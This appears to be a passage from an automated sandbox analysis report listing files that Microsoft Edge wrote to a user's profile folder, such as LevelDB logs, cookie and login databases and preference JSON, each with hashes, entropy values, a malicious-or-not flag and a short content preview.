MD5:	EAFB00155BEDF0906CA80CCA7448D247
SHA1:	95BB402AE2AC2FA2548C638AE1FB66559B026E1B
SHA-256:	73114CD143473B9D739411134511AE092C383B6BC238866D9C789ECC3C4A4306
SHA-512:	4E4093C2F0A56DEE7F925106E33F49879CA63A621A540880AA1B10666298A586AAE2ECCB36D375842991AA6ECFDD9DA5E9440823E8F3669E512973BDFC1C6EEE
Malicious:	false
Preview:	2024/08/31-23:09:35.668 1d58 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/08/31-23:09:35.669 1d58 Recovering log #3.2024/08/31-23:09:35.669 1d58 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.16003804003807
Encrypted:	false
SSDEEP:	6:UJ3+q2Pwkn23oH+Tcwt8a2jMGIFUt8VxcZmw+VwVkwOwkn23oH+Tcwt8a2jMmLJ:Up+vYfYeb8EFUt8VG/+VwV5JfYeb8bJ
MD5:	02D0483DC59E2E5C2D3C271527A3F8C1
SHA1:	532AAD25834FEDD1A3F399BF383EC34F9B7CFE6B
SHA-256:	AE244E5D44EB84F40F1A0B5C737D8FE107BD218B612242C3396F79E4520B27B7
SHA-512:	30FEE14F7A1FA4A9E498EAEF026E8FA6117E4E7E9B771C9CFA2C8177F8F20E3CF08368BA517634283B6B80294F2E642A955B6DC2085044EAA7A6D4F0119948DD
Malicious:	false
Preview:	2024/08/31-23:09:35.308 ddc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/08/31-23:09:35.318 ddc Recovering log #3.2024/08/31-23:09:35.323 ddc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.16003804003807
Encrypted:	false
SSDEEP:	6:UJ3+q2Pwkn23oH+Tcwt8a2jMGIFUt8VxcZmw+VwVkwOwkn23oH+Tcwt8a2jMmLJ:Up+vYfYeb8EFUt8VG/+VwV5JfYeb8bJ
MD5:	02D0483DC59E2E5C2D3C271527A3F8C1
SHA1:	532AAD25834FEDD1A3F399BF383EC34F9B7CFE6B
SHA-256:	AE244E5D44EB84F40F1A0B5C737D8FE107BD218B612242C3396F79E4520B27B7
SHA-512:	30FEE14F7A1FA4A9E498EAEF026E8FA6117E4E7E9B771C9CFA2C8177F8F20E3CF08368BA517634283B6B80294F2E642A955B6DC2085044EAA7A6D4F0119948DD
Malicious:	false
Preview:	2024/08/31-23:09:35.308 ddc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/08/31-23:09:35.318 ddc Recovering log #3.2024/08/31-23:09:35.323 ddc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 28, cookie 0x1d, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	57344
Entropy (8bit):	0.863060653641558
Encrypted:	false
SSDEEP:	96:u7/KLPeymOT7ynlm+yKwt7izhGnvgbn8MouB6wznP:u74CnlmVizhGE7IwD
MD5:	C681C90B3AAD7F7E4AF8664DE16971DF
SHA1:	9F72588CEA6569261291B19E06043A1EFC3653BC
SHA-256:	ADB987BF641B2531991B8DE5B10244C3FE1ACFA7AD7A61A65D2E2D8E7AB34C1D
SHA-512:	4696BF334961E4C9757BAC40C41B4FBE3E0B9F821BD242CE6967B347053787BE54D1270D7166745126AFA42E8193AC2E695B0D8F11DE8F0B2876628B7C128942
Malicious:	true
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network Action Predictor

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 11, cookie 0x6, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	45056
Entropy (8bit):	0.40293591932113104
Encrypted:	false
SSDEEP:	24:TLVgTjDk5Yk8k+/kCkzD3zzbLGfIzLihje90xq/WMFFfeFzfXVVlYWOT/CUFSe:Tmo9n+8dv/qALihje9kqL42WOT/9F
MD5:	ADC0CFB8A1A20DE2C4AB738B413CBEA4
SHA1:	238EF489E5FDC6EBB36F09D415FB353350E7097B
SHA-256:	7C071E36A64FB1881258712C9880F155D9CBAC693BADCC391A1CB110C257CC37
SHA-512:	38C8B7293B8F7BEF03299BAFB981EEEE309945B1BDE26ACDAD6FDD63247C21CA04D493A1DDAFC3B9A1904EFED998E9C7C0C8E98506FD4AC0AB252DFF34566B66
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......=......\.t.+.>...,...=........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\0b27e979-be90-4077-96f4-624d277de5ea.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	188
Entropy (8bit):	5.423404609678128
Encrypted:	false
SSDEEP:	3:YWRAWNjBSVVLTRn0xmuRA9E+L3x8HQXwlm9yJUA6XcIR6RX77XMqGwmvXjz2SQ:YWyWN1iL50xHA9vh8wXwlmUUAnIMp5sO
MD5:	6833E2FEEACF2930174137246FC7E09F
SHA1:	7707DD22D2CFD3C3B79D727C93AE1D3DFD90B307
SHA-256:	839EB286A9A424BFB655D9DA050BE4CAE90B3DE4894CFE1F352919B551F17C0C
SHA-512:	B987F42C327EA83EE824E0E9BBC2AE5727CBB3B8DF29659C7E11798E24D5F8A94A05644200B6B57754876050E805EEAB90A0DAC437296BFED54C49535AF133C0
Malicious:	false
Preview:	{"sts":[{"expiry":1727869700.805692,"host":"dUymlFcJcEIuWrPNRCRXYtREHxXDHdPfT47kO1IQnQ0=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1696333700.805702}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\7f57a6c9-4342-43c9-8af5-02db9cc61e2e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiVY:YHpoeS7PMVKJTnMRK3VY
MD5:	285252A2F6327D41EAB203DC2F402C67
SHA1:	ACEDB7BA5FBC3CE914A8BF386A6F72CA7BAA33C6
SHA-256:	5DFC321417FC31359F23320EA68014EBFD793C5BBED55F77DAB4180BBD4A2026
SHA-512:	11CE7CB484FEE66894E63C31DB0D6B7EF66AD0327D4E7E2EB85F3BCC2E836A3A522C68D681E84542E471E54F765E091EFE1EE4065641B0299B15613EB32DCC0D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\88b27d37-c3f6-4e48-822d-a0e2f97c56c8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\9d533cbf-bc8e-4cae-9a39-52963c38e49d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.926136109079379
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LSL:YHpoeSL
MD5:	4DF4574BFBB7E0B0BC56C2C9B12B6C47
SHA1:	81EFCBD3E3DA8221444A21F45305AF6FA4B71907
SHA-256:	E1B77550222C2451772C958E44026ABE518A2C8766862F331765788DDD196377
SHA-512:	78B14F60F2D80400FE50360CF303A961685396B7697775D078825A29B717081442D357C2039AD0984D4B622976B0314EDE8F478CDE320DAEC118DA546CB0682A
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF42d75.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.926136109079379
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LSL:YHpoeSL
MD5:	4DF4574BFBB7E0B0BC56C2C9B12B6C47
SHA1:	81EFCBD3E3DA8221444A21F45305AF6FA4B71907
SHA-256:	E1B77550222C2451772C958E44026ABE518A2C8766862F331765788DDD196377
SHA-512:	78B14F60F2D80400FE50360CF303A961685396B7697775D078825A29B717081442D357C2039AD0984D4B622976B0314EDE8F478CDE320DAEC118DA546CB0682A
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 4, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.555790634850688
Encrypted:	false
SSDEEP:	48:TsIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSB:QIEumQv8m1ccnvS6
MD5:	0247E46DE79B6CD1BF08CAF7782F7793
SHA1:	B3A63ED5BE3D8EC6E3949FC5E2D21D97ACC873A6
SHA-256:	AAD0053186875205E014AB98AE8C18A6233CB715DD3AF44E7E8EB259AEAB5EEA
SHA-512:	148804598D2A9EA182BD2ADC71663D481F88683CE3D672CE12A43E53B0D34FD70458BE5AAA781B20833E963804E7F4562855F2D18F7731B7C2EAEA5D6D52FBB6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}.........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF40701.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF417ba.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\TransportSecurity

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	203
Entropy (8bit):	5.4042796420747425
Encrypted:	false
SSDEEP:	6:YAQN1iL50xHA9vh8wXwlmUUAnIMp5sXX2SQ:Y45Sg9vt+UAnIXZQ
MD5:	24D66E5F1B8C76C76511DA68057CDE5E
SHA1:	70225FEC1AE3FEF8D8A767D9EA0B0E108BF8F10D
SHA-256:	D5CB3A4A104E2EC4F13E8B4CDF3BD469E0AB638713928BEA1EAEAF03998B794C
SHA-512:	1CA093B4BB4E0B3EE0B791AD0E6B39AC9640CEB6ED005BD10A10B4AF904858F4898D86D26B60B625CDA9425FF317C6B9FE0DF2E12C897A52720AF775B19491AA
Malicious:	false
Preview:	{"expect_ct":[],"sts":[{"expiry":1727869700.805692,"host":"dUymlFcJcEIuWrPNRCRXYtREHxXDHdPfT47kO1IQnQ0=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1696333700.805702}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\TransportSecurity~RF42d84.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	203
Entropy (8bit):	5.4042796420747425
Encrypted:	false
SSDEEP:	6:YAQN1iL50xHA9vh8wXwlmUUAnIMp5sXX2SQ:Y45Sg9vt+UAnIXZQ
MD5:	24D66E5F1B8C76C76511DA68057CDE5E
SHA1:	70225FEC1AE3FEF8D8A767D9EA0B0E108BF8F10D
SHA-256:	D5CB3A4A104E2EC4F13E8B4CDF3BD469E0AB638713928BEA1EAEAF03998B794C
SHA-512:	1CA093B4BB4E0B3EE0B791AD0E6B39AC9640CEB6ED005BD10A10B4AF904858F4898D86D26B60B625CDA9425FF317C6B9FE0DF2E12C897A52720AF775B19491AA
Malicious:	false
Preview:	{"expect_ct":[],"sts":[{"expiry":1727869700.805692,"host":"dUymlFcJcEIuWrPNRCRXYtREHxXDHdPfT47kO1IQnQ0=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1696333700.805702}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 9, cookie 0x6, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.36515621748816035
Encrypted:	false
SSDEEP:	24:TLH3lIIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:Tb31DtX5nDOvyKDhU1cSB
MD5:	25363ADC3C9D98BAD1A33D0792405CBF
SHA1:	D06E343087D86EF1A06F7479D81B26C90A60B5C3
SHA-256:	6E019B8B9E389216D5BDF1F2FE63F41EF98E71DA101F2A6BE04F41CC5954532D
SHA-512:	CF7EEE35D0E00945AF221BEC531E8BF06C08880DA00BD103FA561BC069D7C6F955CBA3C1C152A4884601E5A670B7487D39B4AE9A4D554ED8C14F129A74E555F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......X..g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\bb30bd8c-b441-4d9e-a207-23de344eff7a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\ec3bde57-4413-4d3c-82ee-a7d909f2b0d6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 2, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.46731661083066856
Encrypted:	false
SSDEEP:	12:TL1QAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3is25q0S9K0xHZ75fOV:TLiOUOq0afDdWec9sJf5Q7J5fc
MD5:	E93ACF0820CA08E5A5D2D159729F70E3
SHA1:	2C1A4D4924B9AEC1A796F108607404B000877C5D
SHA-256:	F2267FDA7F45499F7A01186B75CEFB799F8D2BC97E2E9B5068952D477294302C
SHA-512:	3BF36C20E04DCF1C16DC794E272F82F68B0DE43F16B4A9746B63B6D6BBC953B00BD7111CDA7AFE85CEBB2C447145483A382B15E2B0A5B36026C3441635D4E50C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	8568
Entropy (8bit):	5.070432809209306
Encrypted:	false
SSDEEP:	96:sVUql1J1YVt8b9q7CTOfYuXVRWFGiC9YpsY5Th6Cp9/x+6M8muecmAeCVe4zvrOW:sVU+J4mTIPPhDYpsYPpj+FVApO+FBf
MD5:	BFF68C2299021666DA080572BF886FD9
SHA1:	9CDBD117EA42A49F5F4059C4F7A6C259FA8BAE41
SHA-256:	1C988E5473FAC7DD1EB678F947EC01AF4A211B3C6A33BC386248B672E286F855
SHA-512:	E7E97873370754A472DE162133CB5177440151754AD112CEF095922B631781901DDDA1124B52DD1F253F831A229E477DCA2F9A29B8EE03015E3492C7D75EA9B6
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_id_migration_state":2,"account_tracker_service_last_update":"13369633774665119","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","5826"],"daily_received_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF44e3b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	8568
Entropy (8bit):	5.070432809209306
Encrypted:	false
SSDEEP:	96:sVUql1J1YVt8b9q7CTOfYuXVRWFGiC9YpsY5Th6Cp9/x+6M8muecmAeCVe4zvrOW:sVU+J4mTIPPhDYpsYPpj+FVApO+FBf
MD5:	BFF68C2299021666DA080572BF886FD9
SHA1:	9CDBD117EA42A49F5F4059C4F7A6C259FA8BAE41
SHA-256:	1C988E5473FAC7DD1EB678F947EC01AF4A211B3C6A33BC386248B672E286F855
SHA-512:	E7E97873370754A472DE162133CB5177440151754AD112CEF095922B631781901DDDA1124B52DD1F253F831A229E477DCA2F9A29B8EE03015E3492C7D75EA9B6
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_id_migration_state":2,"account_tracker_service_last_update":"13369633774665119","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","5826"],"daily_received_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\PreferredApps

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	4.051821770808046
Encrypted:	false
SSDEEP:	3:YVXADAEvTLSJ:Y9AcEvHSJ
MD5:	2B432FEF211C69C745ACA86DE4F8E4AB
SHA1:	4B92DA8D4C0188CF2409500ADCD2200444A82FCC
SHA-256:	42B55D126D1E640B1ED7A6BDCB9A46C81DF461FA7E131F4F8C7108C2C61C14DE
SHA-512:	948502DE4DC89A7E9D2E1660451FCD0F44FD3816072924A44F145D821D0363233CC92A377DBA3A0A9F849E3C17B1893070025C369C8120083A622D025FE1EACF
Malicious:	false
Preview:	{"preferred_apps":[],"version":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	30243
Entropy (8bit):	5.5657447056761296
Encrypted:	false
SSDEEP:	768:X1bGU+7pLGLvRsWP5xfrG8F1+UoAYDCx9Tuqh0VfUC9xbog/OVryFbtMurw31qyV:X1bGU+cvRsWP5xfrGu1jamyFhMrkHQwa
MD5:	AABD210A2ED500D45383FF84C64E4B68
SHA1:	2C3A58885AE29489F220C49E047FA17E32BEF6D9
SHA-256:	CB3A12C988337C5900D91858D51AC11F77285B956B90554E2AF84EBF1089D77D
SHA-512:	43AEB85F4A109AFC4F8244926CA73A986229427B26D839E79F0F0C620AB10965DAEBC39259142F0507BCD5A3AB8654D1381C9B1158EDF57B6035C8D604C9F0A9
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13369633774185691","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13369633774185691","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	232
Entropy (8bit):	2.7061121767675385
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljljljljljljljljljl:S85aEFljljljljljljljljljl
MD5:	8A30A1FDD0459D9EA8B1E78A8E636856
SHA1:	9D7225E97F9CFCFB225CFBFD0B0BBA21D4EFDD20
